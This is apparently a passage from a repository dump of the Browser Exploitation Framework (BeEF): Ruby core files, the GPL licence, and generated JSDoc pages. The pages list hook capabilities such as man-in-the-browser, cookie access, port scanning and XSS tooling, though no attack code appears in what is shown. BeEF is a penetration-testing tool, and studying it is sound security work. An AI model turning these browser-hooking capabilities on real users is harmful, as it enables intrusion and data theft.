    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# @note Prevent exec from ever being used\ndef exec(_args)\n  puts 'For security reasons the exec method is not accepted in the Browser Exploitation Framework code base.'\n  exit\nend\n\n# @note Prevent system from ever being used\ndef system(_args)\n  puts 'For security reasons the system method is not accepted in the Browser Exploitation Framework code base.'\n  exit\nend\n\n# @note Prevent Kernel.system from ever being used\ndef Kernel.system(_args)\n  puts 'For security reasons the Kernel.system method is not accepted in the Browser Exploitation Framework code base.'\n  exit\nend\n"
  },
  {
    "path": "core/ruby/string.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass String\n  # @note Use a gem to colorize the console.\n  # @note http://flori.github.com/term-ansicolor/\n  include Term::ANSIColor\nend\n"
  },
  {
    "path": "core/ruby.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# @note Patching Ruby Security\nrequire 'core/ruby/security'\n\n# @note Patching Ruby\nrequire 'core/ruby/module'\nrequire 'core/ruby/string'\nrequire 'core/ruby/print'\nrequire 'core/ruby/hash'\n"
  },
  {
    "path": "core/settings.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Settings\n    # Checks if an extension exists in the framework.\n    # @param [String] beef_extension extension class\n    # @return [Boolean] if the extension exists\n    # @deprecated Use #{BeEF::Extension.is_present()} instead of this method.\n    #   This method bypasses the configuration system.\n    def self.extension_exists?(beef_extension)\n      BeEF::Extension.const_defined?(beef_extension)\n    end\n\n    # Checks to see if the console extensions has been loaded\n    # @return [Boolean] if the console extension has been loaded\n    # @deprecated Use #{BeEF::Extension.is_loaded()} instead of this method.\n    #   This method bypasses the configuration system.\n    def self.console?\n      extension_exists?('Console')\n    end\n  end\nend\n"
  },
  {
    "path": "doc/COPYING",
    "content": "COPYING -- Describes the terms under which the Browser Exploitation\nFramework (BeEF) is distributed. A copy of the GNU General Public License\n(GPL) is appended to this file.\n\nBeEF (Browser Exploitation Framework) is (C) 2006-2026 Wade Alcorn.\n\nThis program is free software; you may redistribute and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation; Version 2 with the clarifications and exceptions\ndescribed below. This guarantees your right to use, modify, and\nredistribute this software under certain conditions. If you wish to embed\nBeEF technology into proprietary software, we sell alternative licenses\n(contact wade@bindshell.net).\n\nNote that the GPL places important restrictions on \"derived works\", yet it\ndoes not provide a detailed definition of that term. To avoid\nmisunderstandings, we interpret that term as broadly as copyright law\nallows. For example, we consider an application to constitute a \"derived\nwork\" for the purpose of this license if it does any of the following:\n* Integrates source code from BeEF.\n* Reads or includes BeEF copyrighted hook, core components, tests, modules \n  or extensions.\n* Executes BeEF and parses the results.\n* Integrates/includes/aggregates BeEF into a proprietary executable\n  installer, such as those produced by InstallShield.\n* Links to a library or executes a program that does any of the above\n\nThe term \"BeEF\" should be taken to also include any portions or derived\nworks of BeEF. This list is not exclusive, but is meant to clarify our\ninterpretation of derived works with some common examples. Our\ninterpretation applies only to BeEF - we do not speak for other people's\nGPL works.\n\nIf you have any questions about the GPL licensing restrictions on using\nBeEF in non-GPL works, we would be happy to help. As mentioned above,\nwe also offer alternative license to integrate BeEF into proprietary\napplications and appliances.\n\nIf you received these files with a written license agreement or contract\nstating terms other than the terms above, then that alternative license\nagreement takes precedence over these comments.\n\nSource is provided to this software because we believe users have a right\nto know exactly what a program is going to do before they run it.\n\nSource code also allows you to fix bugs and add new features. You are\nhighly encouraged to send your changes to wade@bindshell.net for possible\nincorporation into the main distribution. By sending these changes to the\nBeEF developers, to the mailing lists, or via Git pull request, checking\nthem into the BeEF source code repository, it is understood (unless you\nspecify otherwise) that you are offering the BeEF project the unlimited,\nnon-exclusive right to reuse, modify, and relicense the code. BeEF will\nalways be available Open Source, but this is important because the\ninability to relicense code has caused devastating problems for other Free\nSoftware projects (such as KDE and NASM). If you wish to specify special\nlicense conditions of your contributions, just say so when you send them.\n\nThis program is distributed in the hope that it will be useful, but\nWITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nGeneral Public License v2.0 for more details at\nhttp://www.gnu.org/licenses/gpl-2.0.html, or below\n\n****************************************************************************\n\n                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n****************************************************************************\n\n"
  },
  {
    "path": "doc/boilerplate",
    "content": "Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\nBrowser Exploitation Framework (BeEF) - https://beefproject.com\nSee the file 'doc/COPYING' for copying permission"
  },
  {
    "path": "docs/BeefJS.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: BeefJS</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: BeefJS</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>BeefJS</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Register the BeEF JS on the window object.</p></div>\n        \n\n        \n\n\n    <h5 class=\"subsection-title\">Properties:</h5>\n\n    \n\n<table class=\"props\">\n    <thead>\n    <tr>\n        \n        <th>Name</th>\n        \n\n        <th>Type</th>\n\n        \n\n        \n\n        <th class=\"last\">Description</th>\n    </tr>\n    </thead>\n\n    <tbody>\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>version</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">string</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>BeEf Version</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>pageIsLoaded</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">boolean</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>This gets set to true during window.onload(). It's a useful hack when messing with document.write().</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>onpopstate</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">array</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>An array containing functions to be executed by the window.onpopstate() method.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>onclose</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">array</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>An array containing functions to be executed by the window.onclose() method.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>commands</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">array</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>An array containing functions to be executed by Beef.</p></td>\n        </tr>\n\n    \n\n        <tr>\n            \n                <td class=\"name\"><code>components</code></td>\n            \n\n            <td class=\"type\">\n            \n                \n<span class=\"param-type\">array</span>\n\n\n            \n            </td>\n\n            \n\n            \n\n            <td class=\"description last\"><p>An array containing all the BeEF JS components.</p></td>\n        </tr>\n\n    \n    </tbody>\n</table>\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"beef.js.html\">beef.js</a>, <a href=\"beef.js.html#line16\">line 16</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".debug\"><span class=\"type-signature\">(static) </span>debug<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Adds a function to display debug messages (wraps console.log())</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"beef.js.html\">beef.js</a>, <a href=\"beef.js.html#line40\">line 40</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".execute\"><span class=\"type-signature\">(static) </span>execute<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Adds a function to execute.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"beef.js.html\">beef.js</a>, <a href=\"beef.js.html#line62\">line 62</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".regCmp\"><span class=\"type-signature\">(static) </span>regCmp<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Registers a component in BeEF JS.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"beef.js.html\">beef.js</a>, <a href=\"beef.js.html#line77\">line 77</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/are.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: are.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: are.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/** \n * A series of functions that handle statuses, returns a number based on the function called.\n * @namespace beef.are\n */\n\nbeef.are = {\n  /**\n   * A function for handling a success status\n   * @memberof beef.are\n   * @method status_success \n   * @return {number} 1\n   */\n  status_success: function(){\n    return 1;\n  },\n  /**\n   * A function for handling an unknown status\n   * @memberof beef.are\n   * @method status_unknown \n   * @return {number} 0\n   */  \n  status_unknown: function(){\n    return 0;\n  },\n  /**\n   * A function for handling an error status\n   * @memberof beef.are\n   * @method status_error \n   * @return {number} -1\n   */  \n  status_error: function(){\n    return -1;\n  }\n};\nbeef.regCmp(\"beef.are\");\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/beef.are.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: are</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: are</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>are</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>A series of functions that handle statuses, returns a number based on the function called.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"are.js.html\">are.js</a>, <a href=\"are.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".status_error\"><span class=\"type-signature\">(static) </span>status_error<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {number}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>A function for handling an error status</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"are.js.html\">are.js</a>, <a href=\"are.js.html#line31\">line 31</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div 